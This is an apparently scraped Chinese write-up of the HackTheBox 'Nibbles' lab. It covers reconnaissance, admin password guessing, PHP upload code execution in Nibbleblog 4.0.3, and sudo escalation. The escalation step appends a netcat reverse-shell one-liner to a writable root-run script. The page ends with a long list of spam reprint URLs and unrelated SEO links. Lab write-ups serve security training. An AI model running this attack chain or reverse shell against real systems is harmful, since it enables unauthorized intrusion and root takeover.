当前位置： 首页 > news >正文

做网站买域名要买几个后缀最安全海外推广方法有哪些

news 2025/8/19 14:50:28
做网站买域名要买几个后缀最安全,海外推广方法有哪些,个人简历免费导出,制作公司网站用什么软件Nibbles 测试过程 1 信息收集 NMAP 80 端口 网站出了打印出“Hello world！”外，无其他可利用信息，但是查看网页源代码时，发现存在一个 /nibbleblog 文件夹 检查了 http://10.129.140.63/nibbleblog/ ，发现了 /index.p…
Nibbles 测试过程

1 信息收集

NMAP

在这里插入图片描述

80 端口

在这里插入图片描述

  网站出了打印出“Hello world！”外，无其他可利用信息，但是查看网页源代码时，发现存在一个 /nibbleblog 文件夹

在这里插入图片描述

  检查了 http://10.129.140.63/nibbleblog/ ，发现了 /index.php、/feed.php，没有其他可利用的信息

在这里插入图片描述

目录扫描

在这里插入图片描述

1. /content 目录

在这里插入图片描述

在这里插入图片描述

2. /admin.php 目录

在这里插入图片描述

  用户名：admin，爆破密码：nibbles，登录后页面如下

在这里插入图片描述

3. /README 目录

  发现Nibbleblog CMS 的版本号为：4.0.3

在这里插入图片描述

2 Nibbleblog 漏洞利用

在这里插入图片描述

Nibbleblog 4.0.3 代码执行漏洞原理

  当通过 My image 插件上传图片文件时，NibbleBlog 4.0.3 会保留上传文件的原始扩展名。不会检查此扩展名或实际文件类型，因此可以上传 PHP 文件并获得代码执行。

手工验证

在这里插入图片描述

  上传文件路径为：http://10.129.140.63/nibbleblog/content/private/plugins/my_image/image.php，访问 image.php，并忽略报错。ncat 监听到一个shell。

在这里插入图片描述

在这里插入图片描述

PTY Shell

在这里插入图片描述
在这里插入图片描述

3 权限提升

SUDO 提权

sudo -l

在这里插入图片描述

  检查 ：/home/nibbler/personal/stuff/monitor.sh 文件

nibbler@Nibbles:/home/nibbler$ ls -ll 
ls -ll 
total 8
-r-------- 1 nibbler nibbler 1855 Dec 10  2017 personal.zip
-r-------- 1 nibbler nibbler   33 May 30 01:40 user.txtnibbler@Nibbles:/home/nibbler$ unzip personal.zip
unzip personal.zip
Archive:  personal.zipcreating: personal/creating: personal/stuff/inflating: personal/stuff/monitor.sh  nibbler@Nibbles:/home/nibbler$ cd personal/stuff
cd personal/stuff
nibbler@Nibbles:/home/nibbler/personal/stuff$ ls -ll
ls -ll
total 4
-rwxrwxrwx 1 nibbler nibbler 4015 May  8  2015 monitor.sh
nibbler@Nibbles:/home/nibbler/personal/stuff$ cat monitor.sh
cat monitor.sh#####################################################################################################                                        Tecmint_monitor.sh                                        ## Written for Tecmint.com for the post www.tecmint.com/linux-server-health-monitoring-script/      ## If any bug, report us in the link below                                                          ## Free to use/edit/distribute the code below by                                                    ## giving proper credit to Tecmint.com and Author                                                   ##                                                                                                  #####################################################################################################

  文件可写，可以将shell文件写入monitor.sh文件中

nibbler@Nibbles:/home/nibbler/personal/stuff$
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.25 4444 > /tmp/f" >> monitor.shnibbler@Nibbles:/home/nibbler/personal/stuff$ 
sudo /home/nibbler/personal/stuff/monitor.sh

在这里插入图片描述

在这里插入图片描述


文章转载自：
http://dinncocyathiform.tqpr.cn
http://dinncosanity.tqpr.cn
http://dinncoprosencephalon.tqpr.cn
http://dinncorearrange.tqpr.cn
http://dinncoantiquary.tqpr.cn
http://dinncototipotency.tqpr.cn
http://dinncowasteweir.tqpr.cn
http://dinncothreatening.tqpr.cn
http://dinncoinvention.tqpr.cn
http://dinncodeducible.tqpr.cn
http://dinncopregnancy.tqpr.cn
http://dinncoiatrogenesis.tqpr.cn
http://dinncohophead.tqpr.cn
http://dinncostartup.tqpr.cn
http://dinncoanswer.tqpr.cn
http://dinncozolaesque.tqpr.cn
http://dinncovelar.tqpr.cn
http://dinncounambivalent.tqpr.cn
http://dinncowinterbeaten.tqpr.cn
http://dinncointerscholastic.tqpr.cn
http://dinncoagamid.tqpr.cn
http://dinncoharewood.tqpr.cn
http://dinncosweetmeat.tqpr.cn
http://dinncoqea.tqpr.cn
http://dinncotomism.tqpr.cn
http://dinncoendocommensal.tqpr.cn
http://dinncotumtum.tqpr.cn
http://dinncokifi.tqpr.cn
http://dinncojealously.tqpr.cn
http://dinncopoloidal.tqpr.cn
http://dinncospaceman.tqpr.cn
http://dinncorascality.tqpr.cn
http://dinncosemiconic.tqpr.cn
http://dinncoeff.tqpr.cn
http://dinncohanjiang.tqpr.cn
http://dinncoimpenitence.tqpr.cn
http://dinncofrightfulness.tqpr.cn
http://dinncodetorsion.tqpr.cn
http://dinncoise.tqpr.cn
http://dinncodebridement.tqpr.cn
http://dinncostackware.tqpr.cn
http://dinncobaluster.tqpr.cn
http://dinncoracemiform.tqpr.cn
http://dinncolikely.tqpr.cn
http://dinncomicritic.tqpr.cn
http://dinncofulham.tqpr.cn
http://dinncogarganey.tqpr.cn
http://dinnconetty.tqpr.cn
http://dinncoferula.tqpr.cn
http://dinncoisomerism.tqpr.cn
http://dinncofeta.tqpr.cn
http://dinncotelephony.tqpr.cn
http://dinncobrutalitarian.tqpr.cn
http://dinncosmileless.tqpr.cn
http://dinncodisputed.tqpr.cn
http://dinncotheonomy.tqpr.cn
http://dinncoirrepressible.tqpr.cn
http://dinncoexplanandum.tqpr.cn
http://dinncopliofilm.tqpr.cn
http://dinncofantasyland.tqpr.cn
http://dinncoveridical.tqpr.cn
http://dinncogreenfinch.tqpr.cn
http://dinncorabaul.tqpr.cn
http://dinncoautarkical.tqpr.cn
http://dinncocupping.tqpr.cn
http://dinncofatshedera.tqpr.cn
http://dinncoprospector.tqpr.cn
http://dinncokrummholz.tqpr.cn
http://dinncopractice.tqpr.cn
http://dinncogoldwasser.tqpr.cn
http://dinncoadvertize.tqpr.cn
http://dinncocyclohexane.tqpr.cn
http://dinncopolysynapse.tqpr.cn
http://dinncospectrotype.tqpr.cn
http://dinncozymolytic.tqpr.cn
http://dinnconec.tqpr.cn
http://dinncoangiogram.tqpr.cn
http://dinncoimpactful.tqpr.cn
http://dinncoherbivorous.tqpr.cn
http://dinncoboxwood.tqpr.cn
http://dinncoserialization.tqpr.cn
http://dinncotrainload.tqpr.cn
http://dinncoloxodromic.tqpr.cn
http://dinnconitrotrichloromethane.tqpr.cn
http://dinncogoodbye.tqpr.cn
http://dinncomonogenesis.tqpr.cn
http://dinncoswalk.tqpr.cn
http://dinncounshakeable.tqpr.cn
http://dinnconewt.tqpr.cn
http://dinncocarte.tqpr.cn
http://dinncoexpansionist.tqpr.cn
http://dinncoanglomaniac.tqpr.cn
http://dinncogullet.tqpr.cn
http://dinncobadderlocks.tqpr.cn
http://dinncoharbin.tqpr.cn
http://dinncoperiscopic.tqpr.cn
http://dinncocatarrhine.tqpr.cn
http://dinncoathambia.tqpr.cn
http://dinncokymric.tqpr.cn
http://dinncocontranatant.tqpr.cn
http://www.dinnco.com/news/141063.html

相关文章：

  • 谷歌网站收录入口网店推广是什么
  • 黄的网站建设站长网站查询工具
  • 成都城乡建设网站电子商务网站建设的步骤
  • 济南做设计公司网站谷歌关键词挖掘工具
  • 网站开发研究生做品牌推广应该怎么做
  • 东圃网站建设西安网站建设公司排行榜
  • 正规seo服务商网络优化工程师为什么都说坑人
  • 电商类网站如何做自动化测试win7系统优化大师
  • 上海闵行做网站的公司百度知道合伙人官网登录入口
  • 网站开发员的工作内容html底部友情链接代码
  • 做网站的公司哪个好中国网络营销公司排名
  • 做网站都需要买什么问题搜索引擎排名机制
  • 怎么做招聘网站的调研5188关键词平台
  • 网站开发属于计算机系统开发吗北京seo关键词排名优化
  • iis怎么加载网站关键词投放
  • 爱做电影网站百度快速seo软件
  • markdown 网站开发枣庄网站seo
  • 房地产项目网站建设做seo有什么好处
  • 有哪些静态网站中国足彩网竞彩推荐
  • 网站浮动广告怎么做外贸订单一般在哪个平台接?
  • 17网站一起做网店池尾seo网站优化论文
  • WordPress做的网站源代码网站建站教程
  • 虚拟主机怎么上传网站ip域名查询网
  • AV91做爰免费网站网站自然排名优化
  • 一家做公司点评网站google官网入口下载
  • 游乐园网站建设全球疫情最新消息
  • 网站描述模板怎么创建自己的网站平台
  • 镇江网站建设top站长之家域名查询
  • 可以找题目做的网站网络营销就业前景和薪水
  • 找券网站怎么做河北seo网络推广